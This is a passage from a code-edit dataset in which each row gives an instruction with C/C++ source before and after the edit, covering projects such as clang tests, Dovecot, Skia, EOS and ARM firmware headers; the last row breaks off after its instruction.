Instruction
stringlengths
14
778
input_code
stringlengths
0
4.24k
output_code
stringlengths
1
5.44k
Use correct flags for this test.
// RUN: %clang -O0 -S -mno-red-zone -fprofile-arcs -ftest-coverage -emit-llvm %s -o - | FileCheck %s // <rdar://problem/12843084> int test1(int a) { switch (a % 2) { case 0: ++a; case 1: a /= 2; } return a; } // Check tha the `-mno-red-zone' flag is set here on the generated functions. // CHECK: void @__llvm_gcov_indirect_counter_increment(i32* %{{.*}}, i64** %{{.*}}) unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_writeout() unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_init() unnamed_addr noinline noredzone // CHECK: void @__gcov_flush() unnamed_addr noinline noredzone
// RUN: %clang_cc1 -O0 -emit-llvm -disable-red-zone -femit-coverage-notes -femit-coverage-data %s -o - | FileCheck %s // <rdar://problem/12843084> int test1(int a) { switch (a % 2) { case 0: ++a; case 1: a /= 2; } return a; } // Check tha the `-mno-red-zone' flag is set here on the generated functions. // CHECK: void @__llvm_gcov_indirect_counter_increment(i32* %{{.*}}, i64** %{{.*}}) unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_writeout() unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_init() unnamed_addr noinline noredzone // CHECK: void @__gcov_flush() unnamed_addr noinline noredzone
Add the atSymbols to this so the getTimeOfDay function was usable outside of the windows dll.
#ifndef AT_TIME_H #define AT_TIME_H // Under Windows, define the gettimeofday() function with corresponding types #ifdef _MSC_VER #include <windows.h> #include <time.h> // TYPES struct timezone { int tz_minuteswest; int tz_dsttime; }; // FUNCTIONS int gettimeofday(struct timeval * tv, struct timezone * tz); #else #include <sys/time.h> #endif #endif
#ifndef AT_TIME_H #define AT_TIME_H // Under Windows, define the gettimeofday() function with corresponding types #ifdef _MSC_VER #include <windows.h> #include <time.h> #include "atSymbols.h" // TYPES struct timezone { int tz_minuteswest; int tz_dsttime; }; // FUNCTIONS ATLAS_SYM int gettimeofday(struct timeval * tv, struct timezone * tz); #else #include <sys/time.h> #endif #endif
Use a sliderwnd instance to implement the volume slider
#pragma once #include "OSD\OSD.h" #include "MeterWnd\MeterWnd.h" class VolumeSlider : public OSD { public: VolumeSlider(HINSTANCE hInstance, Settings &settings); void Hide(); private: MeterWnd _mWnd; };
#pragma once #include "OSD\OSD.h" #include "SliderWnd.h" class VolumeSlider : public OSD { public: VolumeSlider(HINSTANCE hInstance, Settings &settings); void Hide(); private: SliderWnd _sWnd; };
Rename DB_PLIO to DB_IO, indicate general IO Debugging
#ifndef __DEBUG_H__ #define __DEBUG_H__ // Not using extern, define your own static dbflags in each file // extern unsigned int dbflags; /* * Bit flags for DEBUG() */ #define DB_PLIO 0x001 #define DB_TIMER 0x002 #define DB_USER_INPUT 0x004 #define DB_TRAIN_CTRL 0x008 // #define DB_THREADS 0x010 // #define DB_VM 0x020 // #define DB_EXEC 0x040 // #define DB_VFS 0x080 // #define DB_SFS 0x100 // #define DB_NET 0x200 // #define DB_NETFS 0x400 // #define DB_KMALLOC 0x800 #if 0 #define DEBUG(d, fmt, ...) (((dbflags) & (d)) ? plprintf(COM2, fmt, __VA_ARGS__) : 0) #else #define DEBUG(d, fmt, args...) (((dbflags) & (d)) ? plprintf(COM2, fmt, ##args) : 0) #endif #endif // __DEBUG_H__
#ifndef __DEBUG_H__ #define __DEBUG_H__ // Not using extern, define your own static dbflags in each file // extern unsigned int dbflags; /* * Bit flags for DEBUG() */ #define DB_IO 0x001 #define DB_TIMER 0x002 #define DB_USER_INPUT 0x004 #define DB_TRAIN_CTRL 0x008 // #define DB_THREADS 0x010 // #define DB_VM 0x020 // #define DB_EXEC 0x040 // #define DB_VFS 0x080 // #define DB_SFS 0x100 // #define DB_NET 0x200 // #define DB_NETFS 0x400 // #define DB_KMALLOC 0x800 #if 0 #define DEBUG(d, fmt, ...) (((dbflags) & (d)) ? plprintf(COM2, fmt, __VA_ARGS__) : 0) #else #define DEBUG(d, fmt, args...) (((dbflags) & (d)) ? plprintf(COM2, fmt, ##args) : 0) #endif #endif // __DEBUG_H__
Add RNG to running away.
/*------------------------------------------------------------------------------ | NuCTex | math.c | Author | Benjamin A - Nullsrc | Created | 30 December, 2015 | Changed | 31 December, 2015 |------------------------------------------------------------------------------- | Overview | Implementation of various mathematical functions used in the game \-----------------------------------------------------------------------------*/ #include "math.h" #include <stdio.h> #include <stdlib.h> void initRand() { srand(time(NULL)); } int rng(int low, int high) { high += 1; int temp = low; int addend = rand() % (high - low); temp += addend; return temp; } int zrng(int range) { int temp = rand() % (range + 1); return temp; } int brng() { int temp = rand() % 2; return temp; } int calcDamage(int strength) { int damageTotal = 0; damageTotal = rng(strength - (strength/4), strength + (strength/5)); return damageTotal; } int runAway(int escapingAgility, int chasingAgility) { if(escapingAgility > chasingAgility) { return 1; } else { return 0; } }
/*------------------------------------------------------------------------------ | NuCTex | math.c | Author | Benjamin A - Nullsrc | Created | 30 December, 2015 | Changed | 31 December, 2015 |------------------------------------------------------------------------------- | Overview | Implementation of various mathematical functions used in the game \-----------------------------------------------------------------------------*/ #include "math.h" #include <stdio.h> #include <stdlib.h> void initRand() { srand(time(NULL)); } int rng(int low, int high) { high += 1; int temp = low; int addend = rand() % (high - low); temp += addend; return temp; } int zrng(int range) { int temp = rand() % (range + 1); return temp; } int brng() { int temp = rand() % 2; return temp; } int calcDamage(int strength) { int damageTotal = 0; damageTotal = rng(strength - (strength/4), strength + (strength/5)); return damageTotal; } int runAway(int escapingAgility, int chasingAgility) { if((escapingAgility + zrng(escapingAgility/3)) > chasingAgility) { return 1; } else { return 0; } }
Clean up and simplify sample
#define _GNU_SOURCE #include <sched.h> #include <sys/syscall.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int child_func(void* arg) { char* buf = (char*)arg; strcpy(buf, "hello"); return 0; } int main(int argc, char** argv) { // Stack for child. const int STACK_SIZE = 65536; char* stack = malloc(STACK_SIZE); if (!stack) { perror("malloc"); exit(1); } unsigned long flags = 0; if (argc > 1 && !strcmp(argv[1], "vm")) { flags |= CLONE_VM; } char buf[100] = {0}; if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) { perror("clone"); exit(1); } int status; pid_t pid = waitpid(-1, &status, 0); if (pid == -1) { perror("waitpid"); exit(1); } printf("Child exited. buf = \"%s\"\n", buf); return 0; }
// We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_* // flags from sched.h #define _GNU_SOURCE #include <sched.h> #include <sys/syscall.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int child_func(void* arg) { char* buf = (char*)arg; strcpy(buf, "hello"); return 0; } int main(int argc, char** argv) { // Allocate stack for child task. const int STACK_SIZE = 65536; char* stack = malloc(STACK_SIZE); if (!stack) { perror("malloc"); exit(1); } // When called with the command-line argument "vm", set the CLONE_VM flag on. unsigned long flags = 0; if (argc > 1 && !strcmp(argv[1], "vm")) { flags |= CLONE_VM; } char buf[100] = {0}; if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) { perror("clone"); exit(1); } int status; if (wait(&status) == -1) { perror("wait"); exit(1); } printf("Child exited with status %d. buf = \"%s\"\n", status, buf); return 0; }
Define wmain() in addition to main().
/** * Win32 UTF-8 wrapper * * ---- * * main() entry point. * Compile or #include this file as part of your sources * if your program runs in the console subsystem. */ #include "src/entry.h" #undef main int __cdecl main(void) { return win32_utf8_entry(win32_utf8_main); }
/** * Win32 UTF-8 wrapper * * ---- * * main() entry point. * Compile or #include this file as part of your sources * if your program runs in the console subsystem. */ #include "src/entry.h" #undef main int __cdecl wmain(void) { return win32_utf8_entry(win32_utf8_main); } // If both main() and wmain() are defined... // Visual Studio (or more specifically, LINK.EXE) defaults to main() // Pelles C defaults to wmain(), without even printing a "ambiguous entry // point" warning // MinGW/GCC doesn't care, and expects wmain() if you specify -municode, // and main() by default. // Thus, we keep main() as a convenience fallback for GCC. #ifndef _MSC_VER int __cdecl main(void) { return win32_utf8_entry(win32_utf8_main); } #endif
Use sd_journal_print() instead of send.
#include <Python.h> #include <systemd/sd-journal.h> #ifndef journaldpython #define journaldpython static PyObject * journald_send(PyObject *self, PyObject *args) { //const char *command; //int sts; //if (!PyArg_ParseTuple(args, "s", &command)) // return NULL; //sts = system(command); //return Py_BuildValue("i", sts); sd_journal_send("Test message: %s.", "arg1", NULL); Py_INCREF(Py_None); return Py_None; } static PyMethodDef journaldMethods[] = { {"send", journald_send, METH_VARARGS, "Send an entry to journald."}, {NULL, NULL, 0, NULL} /* Sentinel */ }; PyMODINIT_FUNC initjournald(void) { (void) Py_InitModule("journald", journaldMethods); } #endif
#include <Python.h> #include <systemd/sd-journal.h> #ifndef journaldpython #define journaldpython static PyObject * journald_send(PyObject *self, PyObject *args) { //const char *command; //int sts; //if (!PyArg_ParseTuple(args, "s", &command)) // return NULL; //sts = system(command); //return Py_BuildValue("i", sts); sd_journal_print(1, "Test message: %s.", "arg1", NULL); Py_INCREF(Py_None); return Py_None; } static PyMethodDef journaldMethods[] = { {"send", journald_send, METH_VARARGS, "Send an entry to journald."}, {NULL, NULL, 0, NULL} /* Sentinel */ }; PyMODINIT_FUNC initjournald(void) { (void) Py_InitModule("journald", journaldMethods); } #endif
Add new verb to reset the kernel library resource limits for an owner
/* * This file is part of Kotaka, a mud library for DGD * http://github.com/shentino/kotaka * * Copyright (C) 2017 Raymond Jennings * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <kernel/user.h> #include <kotaka/paths/system.h> #include <kotaka/paths/text.h> #include <kotaka/paths/verb.h> inherit LIB_VERB; string *query_parse_methods() { return ({ "raw" }); } void main(object actor, mapping roles) { int sz; string *resources; object proxy; string args; if (query_user()->query_class() < 3) { send_out("Permission denied.\n"); return; } args = roles["raw"]; resources = KERNELD->query_resources(); proxy = PROXYD->get_proxy(query_user()->query_name()); for (sz = sizeof(resources), --sz; sz >= 0; --sz) { proxy->rsrc_set_limit(args, resources[sz], -1); } send_out("Resource limits for " + args + " removed.\n"); }
CREATE ns_prefix/box/ didn't work right when namespace prefix existed.
/* Copyright (C) 2002 Timo Sirainen */ #include "common.h" #include "mail-namespace.h" #include "commands.h" bool cmd_create(struct client_command_context *cmd) { struct mail_namespace *ns; const char *mailbox, *full_mailbox; bool directory; size_t len; /* <mailbox> */ if (!client_read_string_args(cmd, 1, &mailbox)) return FALSE; full_mailbox = mailbox; ns = client_find_namespace(cmd, &mailbox); if (ns == NULL) return TRUE; len = strlen(full_mailbox); if (len == 0 || full_mailbox[len-1] != ns->sep) directory = FALSE; else { /* name ends with hierarchy separator - client is just informing us that it wants to create children under this mailbox. */ directory = TRUE; mailbox = t_strndup(mailbox, len-1); full_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1); } if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE)) return TRUE; if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0) client_send_storage_error(cmd, ns->storage); else client_send_tagline(cmd, "OK Create completed."); return TRUE; }
/* Copyright (C) 2002 Timo Sirainen */ #include "common.h" #include "mail-namespace.h" #include "commands.h" bool cmd_create(struct client_command_context *cmd) { struct mail_namespace *ns; const char *mailbox, *full_mailbox; bool directory; size_t len; /* <mailbox> */ if (!client_read_string_args(cmd, 1, &mailbox)) return FALSE; full_mailbox = mailbox; ns = client_find_namespace(cmd, &mailbox); if (ns == NULL) return TRUE; len = strlen(full_mailbox); if (len == 0 || full_mailbox[len-1] != ns->sep) directory = FALSE; else { /* name ends with hierarchy separator - client is just informing us that it wants to create children under this mailbox. */ directory = TRUE; mailbox = t_strndup(mailbox, strlen(mailbox)-1); full_mailbox = t_strndup(full_mailbox, len-1); } if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE)) return TRUE; if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0) client_send_storage_error(cmd, ns->storage); else client_send_tagline(cmd, "OK Create completed."); return TRUE; }
Remove unused alias for Directory (AttributeSubscriptionDirectory)
/* * #%L * %% * Copyright (C) 2011 - 2013 BMW Car IT GmbH * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ #ifndef LIBJOYNRDIRECTORIES_H #define LIBJOYNRDIRECTORIES_H #include "joynr/RequestCaller.h" #include "joynr/IReplyCaller.h" #include "joynr/Directory.h" #include "joynr/ISubscriptionCallback.h" #include <string> namespace joynr { typedef Directory<std::string, RequestCaller> RequestCallerDirectory; typedef Directory<std::string, IReplyCaller> ReplyCallerDirectory; typedef Directory<std::string, ISubscriptionCallback> AttributeSubscriptionDirectory; } // namespace joynr #endif // LIBJOYNRDIRECTORIES_H
/* * #%L * %% * Copyright (C) 2011 - 2013 BMW Car IT GmbH * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ #ifndef LIBJOYNRDIRECTORIES_H #define LIBJOYNRDIRECTORIES_H #include "joynr/RequestCaller.h" #include "joynr/IReplyCaller.h" #include "joynr/Directory.h" #include "joynr/ISubscriptionCallback.h" #include <string> namespace joynr { typedef Directory<std::string, RequestCaller> RequestCallerDirectory; typedef Directory<std::string, IReplyCaller> ReplyCallerDirectory; } // namespace joynr #endif // LIBJOYNRDIRECTORIES_H
Add back scope_name used by a few contracts
/** * @file * @copyright defined in eos/LICENSE.txt */ #pragma once #include <stdint.h> #include <wchar.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup types Builtin Types * @ingroup contractdev * @brief Specifies typedefs and aliases * * @{ */ typedef uint64_t account_name; typedef uint64_t permission_name; typedef uint64_t table_name; typedef uint32_t time; typedef uint64_t action_name; typedef uint16_t weight_type; /* macro to align/overalign a type to ensure calls to intrinsics with pointers/references are properly aligned */ #define ALIGNED(X) __attribute__ ((aligned (16))) X struct public_key { char data[34]; }; struct signature { uint8_t data[66]; }; struct ALIGNED(checksum256) { uint8_t hash[32]; }; struct ALIGNED(checksum160) { uint8_t hash[20]; }; struct ALIGNED(checksum512) { uint8_t hash[64]; }; typedef struct checksum256 transaction_id_type; typedef struct checksum256 block_id_type; struct account_permission { account_name account; permission_name permission; }; #ifdef __cplusplus } /// extern "C" #endif /// @}
/** * @file * @copyright defined in eos/LICENSE.txt */ #pragma once #include <stdint.h> #include <wchar.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup types Builtin Types * @ingroup contractdev * @brief Specifies typedefs and aliases * * @{ */ typedef uint64_t account_name; typedef uint64_t permission_name; typedef uint64_t table_name; typedef uint32_t time; typedef uint64_t scope_name; typedef uint64_t action_name; typedef uint16_t weight_type; /* macro to align/overalign a type to ensure calls to intrinsics with pointers/references are properly aligned */ #define ALIGNED(X) __attribute__ ((aligned (16))) X struct public_key { char data[34]; }; struct signature { uint8_t data[66]; }; struct ALIGNED(checksum256) { uint8_t hash[32]; }; struct ALIGNED(checksum160) { uint8_t hash[20]; }; struct ALIGNED(checksum512) { uint8_t hash[64]; }; typedef struct checksum256 transaction_id_type; typedef struct checksum256 block_id_type; struct account_permission { account_name account; permission_name permission; }; #ifdef __cplusplus } /// extern "C" #endif /// @}
Add a simple program to kill all processes in a process group.
/* * $Id$ * * Kills all processes belonging to the supplied process group id. * * In the normal case, this allows you to kill a process and any of its * children. */ #include <sys/types.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> void usage() { fprintf(stderr, "Usage: killpgrp <pgid>\n"); } int main(int argc, char **argv) { int pgid; if (argc < 2) { usage(); exit(2); } pgid = atoi(argv[1]); pgid = -pgid; kill(pgid, SIGTERM); exit(0); }
Add a new http client example based on the new style
/* * TCP connection sample program * explaining the way to use planetfs */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> void die(const char *prefix) { perror(prefix); exit(EXIT_FAILURE); } int main(int argc, char **argv) { int clone_fd, data_fd, size; char data_file[256], buffer[1024]; const char *clone_file = "/net/tcp/clone", *ctl_request = "connect 74.125.235.240!80", *http_request = "GET /index.html HTTP/1.1\r\n" "Host: www.google.co.jp\r\n" "Connection: close\r\n\r\n"; clone_fd = open(clone_file, O_RDWR); if (clone_fd < 0) die("clone: open"); if (read(clone_fd, buffer, sizeof (buffer)) < 0) die("clone: read"); if (write(clone_fd, ctl_request, strlen(ctl_request)) < 0) die("clone: write"); snprintf(data_file, sizeof (data_file), "/net/tcp/%s/data", buffer); data_fd = open(data_file, O_RDWR); if (data_fd < 0) die("data: open"); /* Send a HTTP request */ if (write(data_fd, http_request, strlen(http_request)) < 0) die("data: write"); /* Receive the response of the remote host */ do { size = read(data_fd, buffer, sizeof (buffer)); if (size < 0) die("data: read"); /* Display the response of the server */ write(STDOUT_FILENO, buffer, size); } while (size != 0); close(data_fd); close(clone_fd); return EXIT_SUCCESS; }
Use the new designed library
#ifndef BYTECODE_H #define BYTECODE_H #include <iostream> #include <iomanip> using namespace std; enum ByteCode { PUSH = 0, PRINT = 1, END = 2 }; void writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral); void writeSimpleCall(ofstream* outStream, ByteCode bytecode); void writeEnd(ofstream* stream); ByteCode readByteCode(ifstream* stream); template<typename T> std::ostream& binary_write(std::ostream* stream, const T& value){ return stream->write(reinterpret_cast<const char*>(&value), sizeof(T)); } template<typename T> std::istream & binary_read(std::istream* stream, T& value) { return stream->read(reinterpret_cast<char*>(&value), sizeof(T)); } std::ostream& binary_write_string(std::ostream* stream, string value); std::string binary_read_string(std::istream* stream); #endif
#ifndef BYTECODE_H #define BYTECODE_H #include <iostream> #include <iomanip> using namespace std; enum ByteCode { PUSH = 0, PRINT = 1, END = 2 }; /* Write operations */ void writeOneOperandCall(ofstream* outStream, ByteCode bytecode, string litteral); void writeSimpleCall(ofstream* outStream, ByteCode bytecode); void writeEnd(ofstream* stream); void writeLitteral(ofstream* stream, string value); /* Read operations */ ByteCode readByteCode(ifstream* stream); char readConstantType(ifstream* stream); string readLitteral(ifstream* stream); #endif
Make pump happy. Add in this header. -Erik
/* Definitions for use with Linux AF_PACKET sockets. Copyright (C) 1998, 1999 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #ifndef __NETPACKET_PACKET_H #define __NETPACKET_PACKET_H 1 struct sockaddr_ll { unsigned short int sll_family; unsigned short int sll_protocol; int sll_ifindex; unsigned short int sll_hatype; unsigned char sll_pkttype; unsigned char sll_halen; unsigned char sll_addr[8]; }; /* Packet types. */ #define PACKET_HOST 0 /* To us. */ #define PACKET_BROADCAST 1 /* To all. */ #define PACKET_MULTICAST 2 /* To group. */ #define PACKET_OTHERHOST 3 /* To someone else. */ #define PACKET_OUTGOING 4 /* Originated by us . */ #define PACKET_LOOPBACK 5 #define PACKET_FASTROUTE 6 /* Packet socket options. */ #define PACKET_ADD_MEMBERSHIP 1 #define PACKET_DROP_MEMBERSHIP 2 #define PACKET_RECV_OUTPUT 3 #define PACKET_RX_RING 5 #define PACKET_STATISTICS 6 struct packet_mreq { int mr_ifindex; unsigned short int mr_type; unsigned short int mr_alen; unsigned char mr_address[8]; }; #define PACKET_MR_MULTICAST 0 #define PACKET_MR_PROMISC 1 #define PACKET_MR_ALLMULTI 2 #endif /* netpacket/packet.h */
Add nullable flag to ApptentiveDictionaryGetArray and -String
// // ApptentiveSafeCollections.h // Apptentive // // Created by Alex Lementuev on 3/20/17. // Copyright © 2017 Apptentive, Inc. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN /** Returns non-nil value or NSNull */ id ApptentiveCollectionValue(id value); /** Safely adds key and value into the dictionary */ void ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Tries to add nullable value into the dictionary */ BOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Safely retrieves string from a dictionary (or returns nil if failed) */ NSString *ApptentiveDictionaryGetString(NSDictionary *dictionary, id<NSCopying> key); /** Safely retrieves array from a dictionary (or returns nil if failed) */ NSArray *ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key); /** Safely adds an object to the array. */ void ApptentiveArrayAddObject(NSMutableArray *array, id object); NS_ASSUME_NONNULL_END
// // ApptentiveSafeCollections.h // Apptentive // // Created by Alex Lementuev on 3/20/17. // Copyright © 2017 Apptentive, Inc. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN /** Returns non-nil value or NSNull */ id ApptentiveCollectionValue(id value); /** Safely adds key and value into the dictionary */ void ApptentiveDictionarySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Tries to add nullable value into the dictionary */ BOOL ApptentiveDictionaryTrySetKeyValue(NSMutableDictionary *dictionary, id<NSCopying> key, id value); /** Safely retrieves string from a dictionary (or returns nil if failed) */ NSString * _Nullable ApptentiveDictionaryGetString (NSDictionary *dictionary, id<NSCopying> key); /** Safely retrieves array from a dictionary (or returns nil if failed) */ NSArray * _Nullable ApptentiveDictionaryGetArray(NSDictionary *dictionary, id<NSCopying> key); /** Safely adds an object to the array. */ void ApptentiveArrayAddObject(NSMutableArray *array, id object); NS_ASSUME_NONNULL_END
Use : as separator between "GM" and slide name in SampleApp. This makes it easier to jump to a GM slide using command line args on windows.
/* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef GMSampleView_DEFINED #define GMSampleView_DEFINED #include "SampleCode.h" #include "gm.h" class GMSampleView : public SampleView { private: typedef skiagm::GM GM; public: GMSampleView(GM* gm) : fGM(gm) {} virtual ~GMSampleView() { delete fGM; } protected: virtual bool onQuery(SkEvent* evt) { if (SampleCode::TitleQ(*evt)) { SkString name("GM "); name.append(fGM->shortName()); SampleCode::TitleR(evt, name.c_str()); return true; } return this->INHERITED::onQuery(evt); } virtual void onDrawContent(SkCanvas* canvas) { fGM->drawContent(canvas); } virtual void onDrawBackground(SkCanvas* canvas) { fGM->drawBackground(canvas); } private: GM* fGM; typedef SampleView INHERITED; }; #endif
/* * Copyright 2011 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef GMSampleView_DEFINED #define GMSampleView_DEFINED #include "SampleCode.h" #include "gm.h" class GMSampleView : public SampleView { private: typedef skiagm::GM GM; public: GMSampleView(GM* gm) : fGM(gm) {} virtual ~GMSampleView() { delete fGM; } protected: virtual bool onQuery(SkEvent* evt) { if (SampleCode::TitleQ(*evt)) { SkString name("GM:"); name.append(fGM->shortName()); SampleCode::TitleR(evt, name.c_str()); return true; } return this->INHERITED::onQuery(evt); } virtual void onDrawContent(SkCanvas* canvas) { fGM->drawContent(canvas); } virtual void onDrawBackground(SkCanvas* canvas) { fGM->drawBackground(canvas); } private: GM* fGM; typedef SampleView INHERITED; }; #endif
Add missing ecpg prototype for newly added functions.
#ifndef PGTYPES_TIMESTAMP #define PGTYPES_TIMESTAMP #include <pgtypes_interval.h> #ifdef HAVE_INT64_TIMESTAMP typedef int64 timestamp; typedef int64 TimestampTz; #else typedef double timestamp; typedef double TimestampTz; #endif #ifdef __cplusplus extern "C" { #endif extern timestamp PGTYPEStimestamp_from_asc(char *, char **); extern char *PGTYPEStimestamp_to_asc(timestamp); extern int PGTYPEStimestamp_sub(timestamp *, timestamp *, interval *); extern int PGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *); extern void PGTYPEStimestamp_current(timestamp *); extern int PGTYPEStimestamp_defmt_asc(char *, char *, timestamp *); #ifdef __cplusplus } #endif #endif /* PGTYPES_TIMESTAMP */
#ifndef PGTYPES_TIMESTAMP #define PGTYPES_TIMESTAMP #include <pgtypes_interval.h> #ifdef HAVE_INT64_TIMESTAMP typedef int64 timestamp; typedef int64 TimestampTz; #else typedef double timestamp; typedef double TimestampTz; #endif #ifdef __cplusplus extern "C" { #endif extern timestamp PGTYPEStimestamp_from_asc(char *, char **); extern char *PGTYPEStimestamp_to_asc(timestamp); extern int PGTYPEStimestamp_sub(timestamp *, timestamp *, interval *); extern int PGTYPEStimestamp_fmt_asc(timestamp *, char *, int, char *); extern void PGTYPEStimestamp_current(timestamp *); extern int PGTYPEStimestamp_defmt_asc(char *, char *, timestamp *); extern int PGTYPEStimestamp_add_interval(timestamp *tin, interval *span, timestamp *tout); extern int PGTYPEStimestamp_sub_interval(timestamp *tin, interval *span, timestamp *tout); #ifdef __cplusplus } #endif #endif /* PGTYPES_TIMESTAMP */
Unify Platform specific defines for PSCI module
/* * Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #ifndef BOARD_DEF_H #define BOARD_DEF_H #include <lib/utils_def.h> /* The ports must be in order and contiguous */ #define K3_CLUSTER0_CORE_COUNT 2 #define K3_CLUSTER1_CORE_COUNT 2 #define K3_CLUSTER2_CORE_COUNT 2 #define K3_CLUSTER3_CORE_COUNT 2 /* * This RAM will be used for the bootloader including code, bss, and stacks. * It may need to be increased if BL31 grows in size. */ #define SEC_SRAM_BASE 0x70000000 /* Base of MSMC SRAM */ #define SEC_SRAM_SIZE 0x00020000 /* 128k */ #define PLAT_MAX_OFF_STATE U(2) #define PLAT_MAX_RET_STATE U(1) #define PLAT_PROC_START_ID 32 #define PLAT_PROC_DEVICE_START_ID 202 #endif /* BOARD_DEF_H */
/* * Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #ifndef BOARD_DEF_H #define BOARD_DEF_H #include <lib/utils_def.h> /* The ports must be in order and contiguous */ #define K3_CLUSTER0_CORE_COUNT U(2) #define K3_CLUSTER1_CORE_COUNT U(2) #define K3_CLUSTER2_CORE_COUNT U(2) #define K3_CLUSTER3_CORE_COUNT U(2) /* * This RAM will be used for the bootloader including code, bss, and stacks. * It may need to be increased if BL31 grows in size. */ #define SEC_SRAM_BASE 0x70000000 /* Base of MSMC SRAM */ #define SEC_SRAM_SIZE 0x00020000 /* 128k */ #define PLAT_MAX_OFF_STATE U(2) #define PLAT_MAX_RET_STATE U(1) #define PLAT_PROC_START_ID 32 #define PLAT_PROC_DEVICE_START_ID 202 #endif /* BOARD_DEF_H */
Fix iSeries bug in VMALLOCBASE/VMALLOC_START consolidation
/* * Copyright (C) 2005 Stephen Rothwell IBM Corp. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <asm/mmu.h> #include <asm/page.h> #include <asm/iseries/lpar_map.h> const struct LparMap __attribute__((__section__(".text"))) xLparMap = { .xNumberEsids = HvEsidsToMap, .xNumberRanges = HvRangesToMap, .xSegmentTableOffs = STAB0_PAGE, .xEsids = { { .xKernelEsid = GET_ESID(PAGE_OFFSET), .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), }, { .xKernelEsid = GET_ESID(VMALLOC_START), .xKernelVsid = KERNEL_VSID(VMALLOC_START), }, }, .xRanges = { { .xPages = HvPagesToMap, .xOffset = 0, .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT), }, }, };
/* * Copyright (C) 2005 Stephen Rothwell IBM Corp. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <asm/mmu.h> #include <asm/pgtable.h> #include <asm/iseries/lpar_map.h> const struct LparMap __attribute__((__section__(".text"))) xLparMap = { .xNumberEsids = HvEsidsToMap, .xNumberRanges = HvRangesToMap, .xSegmentTableOffs = STAB0_PAGE, .xEsids = { { .xKernelEsid = GET_ESID(PAGE_OFFSET), .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), }, { .xKernelEsid = GET_ESID(VMALLOC_START), .xKernelVsid = KERNEL_VSID(VMALLOC_START), }, }, .xRanges = { { .xPages = HvPagesToMap, .xOffset = 0, .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT), }, }, };
Include vtk_hdf5.h rather than hdf5.h
